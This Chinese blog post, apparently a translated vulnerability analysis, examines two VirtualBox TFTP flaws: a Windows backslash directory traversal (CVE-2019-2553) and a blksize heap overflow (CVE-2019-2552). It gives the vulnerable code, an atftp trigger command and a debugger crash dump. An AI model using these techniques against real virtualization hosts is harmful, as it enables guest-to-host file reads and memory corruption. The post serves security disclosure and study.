虚拟化安全:VirtualBox TFTP Server漏洞分析

2019-07-31 约 498 字 预计阅读 3 分钟

声明:本文 【虚拟化安全:VirtualBox TFTP Server漏洞分析】 由作者 wooy0ung 于 2019-07-31 09:13:00 首发 先知社区 曾经 浏览数 192 次

感谢 wooy0ung 的辛苦付出!

原文地址:https://www.voidsecurity.in/

0x001 前言

NAT模式下的VirtualBox(默认配置)在IP地址10.0.2.4(随意指定)中运行只读TFTP服务器以支持PXE引导。以下利用的两个漏洞无需特权用户的操作触发,也无需安装Guest Additions,在默认配置下即可触发攻击。

0x002 CVE-2019-2553 - 目录遍历漏洞

TFTP服务器的源代码位于src/VBox/Devices/Network/slirp/tftp.c,它基于QEMU中所使用的TFTP服务器。

* This code is based on:
 *
 * tftp.c - a simple, read-only tftp server for qemu

调用函数tftpSecurityFilenameCheck()验证guest提供的文件路径,如下所示:

/**
 * This function evaluate file name.
 * @param pu8Payload
 * @param cbPayload
 * @param cbFileName
 * @return VINF_SUCCESS -
 *         VERR_INVALID_PARAMETER -
 */
DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession)
{
    size_t cbSessionFilename = 0;
    int rc = VINF_SUCCESS;
    AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER);
    cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX);
    if (   !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3)
        || (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/')
        ||  RTStrStr((const char *)pcTftpSession->pszFilename, "/../"))
        rc = VERR_FILE_NOT_FOUND;

    /* only allow exported prefixes */
    if (   RT_SUCCESS(rc)
        && !tftp_prefix)
        rc = VERR_INTERNAL_ERROR;
    LogFlowFuncLeaveRC(rc);
    return rc;
}

此代码也是基于QEMU中的验证(slirp/tftp.c)

/* do sanity checks on the filename */
  if (!strncmp(req_fname, "../", 3) ||
      req_fname[strlen(req_fname) - 1] == '/' ||
      strstr(req_fname, "/../")) {
      tftp_send_error(spt, 2, "Access violation", tp);
      return;
  }

比较有意思的是,在QEMU中上述检查代码一般指定用作于Linux主机。但是,运行在Windows主机上VirtualBox在也依赖于这个相同的验证。由于反斜杠可以在Windows中用作目录分隔符,因此可以绕过在tftpSecurityFilenameCheck()中的检查,以读取在VirtualBox进程特权下可访问的主机文件。TFTP根文件夹的默认路径是C:\Users\\.VirtualBox\TFTP,通过合适地构造读取路径可以从主机读取文件。演示视频请访问翻译原文。

0x003 CVE-2019-2552 - 由于TFTP OptionBlkSize的错误验证引发堆溢出

在函数tftpSessionOptionParse()中设置TFTP选项的值

DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader)
{
...
        else if (fWithArg)
        {
            if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName))
            {
                rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize);
                if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX)
                    rc = VERR_INVALID_PARAMETER;
            }
...

如果值大于UINT16_MAX,则检查blksize选项。然后在tftpReadDataBlock()中使用值OptionBlkSize.u64Value来读取文件内容

DECLINLINE(int) tftpReadDataBlock(PNATState pData,
                                  PTFTPSESSION pcTftpSession,
                                  uint8_t *pu8Data,
                                  int *pcbReadData)
{
    RTFILE  hSessionFile;
    int rc = VINF_SUCCESS;

    uint16_t u16BlkSize = 0;
    . . .
    AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER); 
    . . .
    u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value;
    . . .
        rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead);
    . . .
}

由于不满足判断pcTftpSession-> OptionBlkSize.u64Value < UINT16_MAX,在调用RTFileRead()期间,通过将blksize的值设置为大于MTU,恶意构造的文件内容可以溢出邻近pu8Data的缓冲区。该漏洞可与目录遍历漏洞结合使用以触发带有受控数据的堆溢出,例如,如果启用了共享文件夹,guest虚拟机可以删除主机中具有任意内容的文件,然后使用目录遍历错误读取该文件。

为了便于调试,我们可以使用VirtualBox for Linux。在主机TFTP根文件夹中创建一个大小为UINT16_MAX的文件,即~/.config/VirtualBox/TFTP,然后用一个较大的blksize值从guest虚拟机中读取该文件。

guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload 10.0.2.4
Thread 30 "NAT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ccf4700 (LWP 11024)]
[----------------------------------registers-----------------------------------]
RAX: 0x4141414141414141 ('AAAAAAAA')
RBX: 0x7fff8e5f16dc ('A' ...)
RCX: 0x1 
RDX: 0x4141414141414141 ('AAAAAAAA')
RSI: 0x800 
RDI: 0x140e730 --> 0x219790326 
RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov    QWORD PTR [rax+0x20],rdx)
R8 : 0x0 
R9 : 0x10 
R10: 0x41414141 ('AAAA')
R11: 0x7fff8e5f1de4 ('A' ...)
R12: 0x140e720 --> 0xdead0002 
R13: 0x7fff8e5f1704 ('A' ...)
R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' ...)
R15: 0x140e730 --> 0x219790326
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fff9457d89f <slirp_uma_alloc>: test   rax,rax
   0x7fff9457d8a2 <slirp_uma_alloc>: je     0x7fff9457d8b0 <slirp_uma_alloc>
   0x7fff9457d8a4 <slirp_uma_alloc>: mov    rdx,QWORD PTR [rbx+0x20]
=> 0x7fff9457d8a8 <slirp_uma_alloc>: mov    QWORD PTR [rax+0x20],rdx
   0x7fff9457d8ac <slirp_uma_alloc>: mov    rax,QWORD PTR [rbx+0x18]
   0x7fff9457d8b0 <slirp_uma_alloc>: mov    rdx,QWORD PTR [rbx+0x20]
   0x7fff9457d8b4 <slirp_uma_alloc>: mov    QWORD PTR [rdx],rax
   0x7fff9457d8b7 <slirp_uma_alloc>: mov    rax,QWORD PTR [r12+0x88]
[------------------------------------stack-------------------------------------]
0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002 
0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045 
0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0 
0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326 
0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0 
0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test   rax,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

可以看到该漏洞被成功触发,调试器抛出了Segmentation fault

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now